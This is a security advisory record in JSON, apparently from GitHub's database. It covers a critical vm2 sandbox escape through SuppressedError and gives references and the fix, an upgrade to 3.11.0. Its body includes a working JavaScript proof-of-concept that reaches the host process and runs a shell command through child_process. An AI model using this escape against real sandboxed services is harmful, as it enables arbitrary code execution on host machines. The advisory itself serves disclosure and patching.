{"id":"CVE-2026-26332","aliases":["GHSA-55hx-c926-fr95"],"title":"VM2 Has a Sandbox Escape Issue via SuppressedError","summary":"VM2 Has a Sandbox Escape Issue via SuppressedError","severity":"critical","cvss":9.8,"cwe":["CWE-94","CWE-653","CWE-693"],"vendor":"vm2","product":"vm2","ecosystem":"npm","affected":["vm2 < 3.11.0"],"patched":["vm2 3.11.0"],"published":"2026-05-05","updated":"2026-11-04","sourceUpdated":"2026-11-04T03:29:32Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-55hx-c926-fr95","references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26332"},{"url":"https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0"},{"url":"https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f"},{"url":"https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca"},{"url":"https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d"},{"url":"https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338"},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0"},{"url":"https://access.redhat.com/security/cve/CVE-2026-26332"},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466508"},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26332.json"},{"url":"https://github.com/advisories/GHSA-55hx-c926-fr95"}],"tags":["ghsa","npm"],"epss":0.0071,"epssPercentile":0.53578,"ingestedAt":"2026-11-04T04:03:28.565Z","slug":"CVE-2026-26332","body":"## Overview\n\nIn vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.\n\n### PoC\n```js\nconst { VM } = require(\"vm2\");\n\nconst vm = new VM();\n\nvm.run(`\nconst ds = new DisposableStack();\nds.defer(() => { throw null; });\nds.defer(() => {\n  const e = Error();\n  e.name = Symbol();\n  e.stack;\n});\ntry {\n  ds.dispose();\n} catch(e) {\n  const Function = e.suppressed.constructor.constructor;\n  const process = new Function(\"return process;\")();\n  const { execSync } = process.mainModule.require(\"node:child_process\");\n  execSync(\"echo pwned\", { stdio: \"inherit\" });\n}\n`);\n```\n\n## Affected packages\n\n- `vm2 < 3.11.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `vm2 3.11.0`","depth":"midnight","depthScore":54,"depthScoreParts":{"impact":53.9,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}